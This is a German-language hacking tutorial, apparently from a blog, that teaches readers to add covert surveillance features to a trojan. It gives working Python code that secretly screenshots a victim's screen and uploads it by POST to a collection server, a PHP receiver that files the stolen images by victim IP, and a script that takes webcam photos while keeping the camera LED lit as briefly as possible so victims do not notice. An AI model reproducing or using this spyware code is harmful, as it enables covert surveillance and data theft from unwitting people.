Python Tutorial - Big-Brother lässt grüßen
17.06.2018, 02:09 - Autor: PGD
Screenshot heimlich erstellen und versenden
Oftmals ist es praktisch Screenshots vom Opfer-System zu erstellen und auch
das können Sie als Übung gerne in den Trojaner einbauen. Darüber hinaus
will ich Ihnen auch diverse Möglichkeiten zeigen Daten aus dem Opfer-PC
herauszuziehen.
#!/usr/bin/python
import pyautogui, requests
im = pyautogui.screenshot()
im.save("screenshot.png", "PNG")
url = 'http://192.168.1.17/upload/'
files = {'screenshot': open('screenshot.png', 'rb')}
requests.post(url, files=files)
Mit
im = pyautogui.screenshot() wird ein Screenshot im RAM-Speicher
erstellt und dann mit
im.save("screenshot.png", "PNG") im gleichen Ordner
wie das Script abgelegt. Die Parameter sind hierbei Dateiname und
Dateiformat.
Als nächstes definieren wir die Variablen
url und
files. Im
files-Dictionary steht
screenshot für den Index auf den wir von PHP aus
zugreifen werden und der Wert für den Dictionary-Eintrag muss eine Referenz
zum Bild sein welche wir mit
open('screenshot.png', 'rb') erhalten.
Schließlich wird ein sogenannter
POST-Request abgesetzt der das Bild an die
URL überträgt.
Derzeit gibt es mit Pillow 5.1 ein Problem. Falls Sie folgenden Fehler
erhalten:
Traceback (most recent call last):
File "10_screenshot.py", line 4, in <module>
im = pyautogui.screenshot()
File
"/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/pyscreeze/__init__.py",
line 331, in _screenshot_osx
im = Image.open(tmpFilename)
NameError: name 'Image' is not defined
sollte ein Downgrade zu Pillow 5.0 das Problem lösen. Wenn Sie dies hier
lesen und dann eventuell schon eine neuere Pillow-Version verwenden kann
dieser Fehler bereits behoben sein.
Sehen wir uns die Server-Seite noch kurz an:
<?php
$updir = "img/";
$fname = getenv("REMOTE_ADDR").".png";
move_uploaded_file($_FILES["screenshot"]["tmp_name"], $updir.$fname);
?>
Das Empfangs-Script ist ebenfalls sehr übersichtlich...
Zuerste wird der Ordner für den Upload in der Variablen
$updir gespeichert.
Die Adressierung ist hierbei relativ zum Script-Basisordner.
Als
$fname definieren wir den Dateinamen. Hierbei liefert
getenv("REMOTE_ADDR") die Opfer-IP und der Punkt hängt an die IP die
Zeichenkette
.png an.
Bei einem Fileupload finden wir die Informationen über die hochgeladene
Datei im
$_FILES-Array (in Python nennt man das ein Dictionary). Im Eintrag
mit dem Key
screenshot (aus dem
files-Dictionary von Pathon) finden wir den Key
tmp_name der den Namen und Pfad der temporären Datei enthält in der der
Upload gelandet ist.
Mit
move_uploaded_file verschieben wir die temporäre Datei in den Ordner
$updir und benennen diese auch gleich in den Wert von
$fname um.
So werden alle Screenshots unter der Opfer-IP-Adresse abgelegt und damit
steht einem gleichzeitigen Upload von verschiedenen Opfern nichts mehr im
Wege.
Fotos mit der Webcam (Heimlich) aufnehmen
Um zu überprüfen ob gerade jemand vor dem Rechner sitzt und arbeitet gibt
es kaum etwas besseres als ein Bild mit der Webcam zu machen. Zuerst müssen
wir wieder das benötigte Modul installieren:
user@kali:~$ pip3 install opencv-python
Danach reicht dieses kurze Script um ein Bild mit der Webcam aufzunehmen.
Hierbei leuchtet die Betriebs-LED der Webcam allerdings auf. Da dies nur
ca. eine Sekunde dauert ist die Chance groß, dass dies dem Opfer nicht
auffällt.
Abgesehen von der Livestream-Option kann das Meterpreter auch nicht besser.
#!/usr/bin/python
from cv2 import *
webcam = VideoCapture(0)
# DROP 5 FRAMES FOR EXPOSURE-ADJUSTMENT
for i in range(0, 5):
worked, img = webcam.read()
# SAVE IMAGE TO DISK
if worked:
imwrite("img.jpg", img)
webcam.release()
Auch dieses Script ist erschreckend kurz. Nachdem wir
cv2 (OpenCV)
eingebunden haben weisen wir der Variable
webcam eine Instanz von
VideoCapture zu und verweisen auf die erste (auch hier beginnt die
Nummerierung wieder bei 0) Webcam.
Danach lasse ich in der for-Schleife
5 Bilder aufnehmen. Das liegt daran,
dass die Kamera die ersten Bilder benötigt um die ideale Belichtung zu
ermitteln. Das klappte bei meinem Test mit 3 verschiedenen Webcams
innerhalb der 5 Bilder immer. Es kann aber durchaus sein, dass ältere oder
andere Webcams dazu mehr Bilder benötigen und Sie eventuell die Anzahl der
Schleifendurchläufe erhöhen müssen.
Die Methode
webcam.read() liefert ein Tupel mit zwei Werten zurück - einen
Boolean-Wert der angibt ob die Aufnahme erfolgreich (
worked) war und das
Bild (
img).
Wenn die Aufnahme geklappt (
if worked) hat schreiben wir das Bild mit
imwrite("img.jpg", img) in eine Datei auf der Festplatte. Hierbei werden
der Pfad inklusive Dateiname und das Bild an sich übergeben. Somit wird
wieder einmal das Bild mangels anderer Pfadangabe im gleichen Ordner wie
das Script abgelegt.
Es sollte sich von selbst verstehen, dass man in diesem Fall sichergehen
muss, dass das Script auch Schreibrechte für den Ordner haben muss oder man
auf einen anderen Ordner ausweichen muss, auf den auch schreibend
zugegriffen werden darf - zB der
TEMP-Ordner des Systems.
Ganz wichtig ist hier auch das
webcam.release(), da ohne diese Anweisung
die Betriebs-LED an der Webcamera andauernd leuchten würde und das dann dem
User irgendwann auffallen würde.
Nachdem wir schon gesehen haben wie Daten
exfiltriert werden verzichte ich an dieser Stelle darauf. Sie können dies
gerne als Übung selbst ergänzen!